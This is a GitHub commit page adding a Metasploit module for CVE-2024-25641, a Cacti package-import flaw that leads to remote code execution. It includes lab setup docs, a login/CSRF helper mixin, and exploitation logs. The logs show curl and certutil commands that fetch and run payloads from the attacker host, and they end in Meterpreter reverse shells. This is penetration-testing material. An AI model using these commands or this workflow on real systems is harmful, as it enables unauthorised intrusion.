-
Notifications
You must be signed in to change notification settings - Fork 13.8k
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Land #19196, Cacti import package RCE
This exploit module leverages an arbitrary file write vulnerability (CVE-2024-25641) in Cacti versions prior to 1.2.27 to achieve RCE. It abuses the Import Packages feature to upload a specially crafted package that embeds a PHP file.
- Loading branch information
Showing
4 changed files
with
742 additions
and
80 deletions.
There are no files selected for viewing
284 changes: 284 additions & 0 deletions
284
documentation/modules/exploit/multi/http/cacti_package_import_rce.md
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,284 @@ | ||
## Vulnerable Application | ||
|
||
This exploit module leverages an arbitrary file write vulnerability | ||
(CVE-2024-25641) in Cacti versions prior to 1.2.27 to achieve RCE. It abuses | ||
the `Import Packages` feature to upload a specially crafted package that embeds | ||
a PHP file. Cacti will extract this file to an accessible location. The module | ||
finally triggers the payload to execute arbitrary PHP code in the context of | ||
the user running the web server. | ||
|
||
Authentication is needed and the account must have access to the `Import | ||
Packages` feature. This is granted by setting the `Import Templates` permission | ||
in the `Template Editor` section. | ||
|
||
|
||
## Installation | ||
|
||
### Docker installation of Cacti version 1.2.26 | ||
- Create the following files (based on the files from [here](https://github.com/vulhub/vulhub/tree/master/cacti/CVE-2022-46169)): | ||
- `docker-compose.yml`: | ||
``` | ||
version: '2' | ||
services: | ||
web: | ||
build: ./cacti | ||
ports: | ||
- "8080:80" | ||
depends_on: | ||
- db | ||
entrypoint: | ||
- bash | ||
- /entrypoint.sh | ||
volumes: | ||
- ./entrypoint.sh:/entrypoint.sh | ||
command: apache2-foreground | ||
db: | ||
image: mysql:5.7 | ||
environment: | ||
- MYSQL_ROOT_PASSWORD=root | ||
- MYSQL_DATABASE=cacti | ||
``` | ||
- `entrypoint.sh`: | ||
``` | ||
#!/bin/bash | ||
set -ex | ||
wait-for-it db:3306 -t 300 -- echo "database is connected" | ||
if [[ ! $(mysql --host=db --user=root --password=root cacti -e "show tables") =~ "automation_devices" ]]; then | ||
mysql --host=db --user=root --password=root cacti < /var/www/html/cacti/cacti.sql | ||
mysql --host=db --user=root --password=root cacti -e "UPDATE user_auth SET must_change_password='' WHERE username = 'admin'" | ||
mysql --host=db --user=root --password=root cacti -e "SET GLOBAL time_zone = 'UTC'" | ||
fi | ||
chown www-data:www-data -R /var/www/html | ||
# first arg is `-f` or `--some-option` | ||
if [ "${1#-}" != "$1" ]; then | ||
set -- apache2-foreground "$@" | ||
fi | ||
exec "$@" | ||
``` | ||
- Create a `./cacti/` directory with `mkdir cacti` | ||
- Add the following files in the `./cacti/` folder (based on the files from | ||
[here](https://github.com/vulhub/vulhub/tree/master/base/cacti/1.2.22): | ||
- `Dockerfile`: | ||
``` | ||
FROM php:7.4-apache | ||
RUN apt-get update && \ | ||
apt-get install -y --no-install-recommends rrdtool snmp wget ca-certificates libsnmp-dev default-mysql-client \ | ||
wait-for-it libjpeg62-turbo-dev libpng-dev libfreetype6-dev libgmp-dev libldap2-dev libicu-dev | ||
RUN docker-php-ext-configure gd --with-freetype --with-jpeg &&\ | ||
docker-php-ext-configure intl &&\ | ||
docker-php-ext-configure pcntl --enable-pcntl &&\ | ||
docker-php-ext-install pdo_mysql snmp gmp ldap sockets gd intl pcntl gettext | ||
RUN mkdir /var/www/html/cacti &&\ | ||
wget -qO- https://files.cacti.net/cacti/linux/cacti-1.2.26.tar.gz | tar zx -C /var/www/html/cacti --strip-components 1 | ||
COPY config.php /var/www/html/cacti/include/config.php | ||
COPY cacti.ini /usr/local/etc/php/conf.d/cacti.ini | ||
``` | ||
- `cacti.ini` | ||
``` | ||
display_errors=off | ||
memory_limit=512M | ||
date.timezone=UTC | ||
max_execution_time=120 | ||
``` | ||
- `config.php` | ||
``` | ||
<?php | ||
$database_type = 'mysql'; | ||
$database_default = 'cacti'; | ||
$database_hostname = 'db'; | ||
$database_username = 'root'; | ||
$database_password = 'root'; | ||
$database_port = '3306'; | ||
$database_retries = 5; | ||
$database_ssl = false; | ||
$database_ssl_key = ''; | ||
$database_ssl_cert = ''; | ||
$database_ssl_ca = ''; | ||
$database_persist = false; | ||
$poller_id = 1; | ||
$url_path = '/cacti/'; | ||
$cacti_session_name = 'Cacti'; | ||
$cacti_db_session = false; | ||
$disable_log_rotation = false; | ||
``` | ||
- Run `docker-compose up` | ||
- Access http://127.0.0.1:8080 | ||
- Login with the `admin` user (password: `admin`) | ||
- Follow the installation steps (accept every default settings and ignore the pre-installation checks suggestions) | ||
|
||
Note that other versions can be installed this way by changing the `tar` file name in `Dockerfile` (`cacti-1.2.26.tar.gz`). | ||
|
||
|
||
### Cacti on Windows | ||
Download and run a Cacti installer from | ||
[here](https://files.cacti.net/cacti/windows/Archive/). The `admin` password | ||
should be put in a file called `Cacti-Passwords.txt` by the installer, which is | ||
in the same location the installer was run. | ||
Follow the same installation steps as for the Docker installation. | ||
|
||
|
||
### Setup a new user | ||
- Login with the `admin` user (password: `admin`) | ||
- Go to `Configuration` > `Users` | ||
- Click on the `+` sign | ||
- Enter the `User Name`, `Password` and check the `Enabled` option. | ||
- Click `Create` | ||
- Go to the `Permissions` tab and set the `Import Templates` permission in `Template Editor` | ||
- Click `Save` | ||
|
||
|
||
## Verification Steps | ||
|
||
1. Install the application | ||
1. Start msfconsole | ||
1. Do: `use multi/http/cacti_package_import_rce` | ||
1. Do: `set target <target>` | ||
1. Do: `run rhost=<target address> rport=<target port> lhost=<local address> username=<username> password=<password>` | ||
1. You should get a shell. | ||
|
||
## Options | ||
|
||
### USERNAME | ||
The user to login with (default `admin`). | ||
|
||
### PASSWORD | ||
The password to login with (default `admin`) | ||
|
||
|
||
## Scenarios | ||
|
||
### Cacti version 1.2.26 on Docker installation | ||
- Target 0 (PHP) | ||
``` | ||
msf6 exploit(multi/http/cacti_package_import_rce) > exploit verbose=true rhosts=127.0.0.1 rport=8080 lhost=192.168.101.1 username=msfuser password=12345678 | ||
[*] Started reverse TCP handler on 192.168.101.1:4444 | ||
[*] Running automatic check ("set AutoCheck false" to disable) | ||
[*] Checking Cacti version | ||
[+] The web server is running Cacti version 1.2.26 | ||
[*] Attempting login with user `msfuser` and password `12345678` | ||
[+] Logged in | ||
[*] Checking permissions to access `package_import.php` | ||
[+] The target appears to be vulnerable. | ||
[*] Uploading the package | ||
[*] Triggering the payload | ||
[*] Sending stage (39927 bytes) to 192.168.101.1 | ||
[+] Deleted /var/www/html/cacti/resource/jGbP1O.php | ||
[*] Meterpreter session 1 opened (192.168.101.1:4444 -> 192.168.101.1:62197) at 2024-05-22 15:28:24 +0200 | ||
meterpreter > getuid | ||
Server username: www-data | ||
meterpreter > sysinfo | ||
Computer : 087c6bbb8c7d | ||
OS : Linux 087c6bbb8c7d 6.6.22-linuxkit #1 SMP PREEMPT_DYNAMIC Fri Mar 29 12:23:08 UTC 2024 x86_64 | ||
Meterpreter : php/linux | ||
``` | ||
|
||
- Target 1 (Linux Command) | ||
``` | ||
msf6 exploit(multi/http/cacti_package_import_rce) > exploit verbose=true rhosts=127.0.0.1 rport=8080 lhost=192.168.101.1 username=msfuser password=12345678 | ||
[*] Command to run on remote host: curl -so ./AynGghlaARy http://192.168.101.1:8080/DETWAARvN-XS_WA2cHnmIg; chmod +x ./AynGghlaARy; ./AynGghlaARy & | ||
[*] Fetch handler listening on 192.168.101.1:8080 | ||
[*] HTTP server started | ||
[*] Adding resource /DETWAARvN-XS_WA2cHnmIg | ||
[*] Started reverse TCP handler on 192.168.101.1:4444 | ||
[*] Running automatic check ("set AutoCheck false" to disable) | ||
[*] Checking Cacti version | ||
[+] The web server is running Cacti version 1.2.26 | ||
[*] Attempting login with user `msfuser` and password `12345678` | ||
[+] Logged in | ||
[*] Checking permissions to access `package_import.php` | ||
[+] The target appears to be vulnerable. | ||
[*] Uploading the package | ||
[*] Triggering the payload | ||
[*] Client 192.168.101.1 requested /DETWAARvN-XS_WA2cHnmIg | ||
[*] Sending payload to 192.168.101.1 (curl/7.74.0) | ||
[*] Transmitting intermediate stager...(126 bytes) | ||
[*] Sending stage (3045380 bytes) to 192.168.101.1 | ||
[+] Deleted /var/www/html/cacti/resource/R4imZxgqN.php | ||
[+] Deleted /var/www/html/cacti/resource/AynGghlaARy | ||
[*] Meterpreter session 3 opened (192.168.101.1:4444 -> 192.168.101.1:62224) at 2024-05-22 15:29:31 +0200 | ||
meterpreter > getuid | ||
Server username: www-data | ||
meterpreter > sysinfo | ||
Computer : 172.19.0.3 | ||
OS : Debian 11.5 (Linux 6.6.22-linuxkit) | ||
Architecture : x64 | ||
BuildTuple : x86_64-linux-musl | ||
Meterpreter : x64/linux | ||
``` | ||
|
||
### Cacti version 1.2.26 on Windows Server 2019 | ||
- Target 0 (PHP) | ||
``` | ||
msf6 exploit(multi/http/cacti_package_import_rce) > exploit verbose=true rhosts=192.168.101.124 lhost=192.168.101.1 username=msfuser password=12345678 | ||
[*] Started reverse TCP handler on 192.168.101.1:4444 | ||
[*] Running automatic check ("set AutoCheck false" to disable) | ||
[*] Checking Cacti version | ||
[+] The web server is running Cacti version 1.2.26 | ||
[*] Attempting login with user `msfuser` and password `12345678` | ||
[+] Logged in | ||
[*] Checking permissions to access `package_import.php` | ||
[+] The target appears to be vulnerable. | ||
[*] Uploading the package | ||
[*] Triggering the payload | ||
[*] Sending stage (39927 bytes) to 192.168.101.124 | ||
[+] Deleted C:/Apache24/htdocs/cacti/resource/WPo04nIf.php | ||
[*] Meterpreter session 2 opened (192.168.101.1:4444 -> 192.168.101.124:54654) at 2024-05-22 15:28:56 +0200 | ||
meterpreter > getuid | ||
Server username: SYSTEM | ||
meterpreter > sysinfo | ||
Computer : DC02 | ||
OS : Windows NT DC02 10.0 build 17763 (Windows Server 2019) AMD64 | ||
Meterpreter : php/windows | ||
``` | ||
|
||
- Target 2 (Windows Command) | ||
``` | ||
msf6 exploit(multi/http/cacti_package_import_rce) > exploit verbose=true rhosts=192.168.101.124 lhost=192.168.101.1 username=msfuser password=12345678 | ||
[*] Command to run on remote host: certutil -urlcache -f http://192.168.101.1:8080/Qy-qOX10kZIXJGk3Q336Lg %TEMP%\cpOhjtfIddh.exe & start /B %TEMP%\cpOhjtfIddh.exe | ||
[*] Fetch handler listening on 192.168.101.1:8080 | ||
[*] HTTP server started | ||
[*] Adding resource /Qy-qOX10kZIXJGk3Q336Lg | ||
[*] Started reverse TCP handler on 192.168.101.1:4444 | ||
[*] Running automatic check ("set AutoCheck false" to disable) | ||
[*] Checking Cacti version | ||
[+] The web server is running Cacti version 1.2.26 | ||
[*] Attempting login with user `msfuser` and password `12345678` | ||
[+] Logged in | ||
[*] Checking permissions to access `package_import.php` | ||
[+] The target appears to be vulnerable. | ||
[*] Uploading the package | ||
[*] Triggering the payload | ||
[*] Client 192.168.101.124 requested /Qy-qOX10kZIXJGk3Q336Lg | ||
[*] Sending payload to 192.168.101.124 (Microsoft-CryptoAPI/10.0) | ||
[*] Client 192.168.101.124 requested /Qy-qOX10kZIXJGk3Q336Lg | ||
[*] Sending payload to 192.168.101.124 (CertUtil URL Agent) | ||
[*] Sending stage (201798 bytes) to 192.168.101.124 | ||
[+] Deleted C:/Apache24/htdocs/cacti/resource/9PxU2R.php | ||
[*] Meterpreter session 4 opened (192.168.101.1:4444 -> 192.168.101.124:54669) at 2024-05-22 15:30:20 +0200 | ||
[!] This exploit may require manual cleanup of 'C:/Apache24/htdocs/cacti/resource/cpOhjtfIddh' on the target | ||
meterpreter > getuid | ||
Server username: NT AUTHORITY\SYSTEM | ||
meterpreter > sysinfo | ||
Computer : DC02 | ||
OS : Windows Server 2019 (10.0 Build 17763). | ||
Architecture : x64 | ||
System Language : en_US | ||
Domain : MYLAB | ||
Logged On Users : 9 | ||
Meterpreter : x64/windows | ||
``` |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,108 @@ | ||
# -*- coding: binary -*- | ||
### | ||
# | ||
# This mixin provides helper methods for Cacti | ||
# | ||
### | ||
|
||
module Msf | ||
module Exploit::Cacti | ||
|
||
include Msf::Exploit::Remote::HttpClient | ||
|
||
class CactiError < StandardError; end | ||
class CactiNotFoundError < CactiError; end | ||
class CactiVersionNotFoundError < CactiError; end | ||
class CactiNoAccessError < CactiError; end | ||
class CactiCsrfNotFoundError < CactiError; end | ||
class CactiLoginError < CactiError; end | ||
|
||
# Extract the version number from an HTML response | ||
# | ||
# @param html [Nokogiri::HTML::Document] The HTML response | ||
# @return [String] The version number | ||
# @raise [CactiNotFoundError] If the web server is not running Cacti | ||
# @raise [CactiVersionNotFoundError] If the version string was not found | ||
def parse_version(html) | ||
# This will return an empty string if there is no match | ||
version_str = html.xpath('//div[@class="versionInfo"]').text | ||
unless version_str.include?('The Cacti Group') | ||
raise CactiNotFoundError, 'The web server is not running Cacti' | ||
end | ||
unless version_str.match(/Version (?<version>\d{1,2}[.]\d{1,2}[.]\d{1,2})/) | ||
raise CactiVersionNotFoundError, 'Could not detect the version' | ||
end | ||
|
||
Regexp.last_match[:version] | ||
end | ||
|
||
# Extract the CSRF token from an HTML response | ||
# | ||
# @param html [Nokogiri::HTML::Document] The HTML response to parse | ||
# @return [String] The CSRF token | ||
def parse_csrf_token(html) | ||
html.xpath('//form/input[@name="__csrf_magic"]/@value').text | ||
end | ||
|
||
# Get the CSRF token by querying the `index.php` web page and extracting it | ||
# from the response. | ||
# | ||
# @return [String] The CSRF token | ||
# @raise [CactiNoAccessError] If the server is unreachable | ||
# @raise [CactiCsrfNotFoundError] If it was not possible to get the CSRF token | ||
def get_csrf_token | ||
res = send_request_cgi( | ||
'uri' => normalize_uri(target_uri.path, 'index.php'), | ||
'method' => 'GET', | ||
'keep_cookies' => true | ||
) | ||
raise CactiNoAccessError, 'Could not access `index.php` - no response' if res.nil? | ||
|
||
html = res.get_html_document | ||
csrf_token = parse_csrf_token(html) | ||
raise CactiCsrfNotFoundError, 'Unable to get the CSRF token' if csrf_token.empty? | ||
|
||
csrf_token | ||
end | ||
|
||
# Log in to Cacti. It will take care of grabbing the CSRF token if not provided. | ||
# | ||
# @param username [String] The username | ||
# @param password [String] The password | ||
# @raise [CactiNoAccessError] If the server is unreachable | ||
# @raise [CactiCsrfNotFoundError] If the CSRF token was not provided and it was not possible to retrieve it | ||
# @raise [CactiLoginError] If the login failed | ||
def do_login(username, password, csrf_token: nil) | ||
if csrf_token.blank? | ||
print_status('Getting the CSRF token to login') | ||
begin | ||
csrf_token = get_csrf_token | ||
rescue CactiError => e | ||
raise CactiLoginError, "Unable to login: #{e.class} - #{e}" | ||
end | ||
|
||
vprint_good("CSRF token: #{csrf_token}") | ||
end | ||
|
||
print_status("Attempting login with user `#{username}` and password `#{password}`") | ||
res = send_request_cgi( | ||
'uri' => normalize_uri(target_uri.path, 'index.php'), | ||
'method' => 'POST', | ||
'keep_cookies' => true, | ||
'vars_post' => { | ||
'__csrf_magic' => csrf_token, | ||
'action' => 'login', | ||
'login_username' => username, | ||
'login_password' => password | ||
} | ||
) | ||
raise CactiNoAccessError, 'Could not login - no response' if res.nil? | ||
raise CactiLoginError, "Login failure - unexpected HTTP response code: #{res.code}" unless res.code == 302 | ||
|
||
print_good('Logged in') | ||
|
||
nil | ||
end | ||
|
||
end | ||
end |
Oops, something went wrong.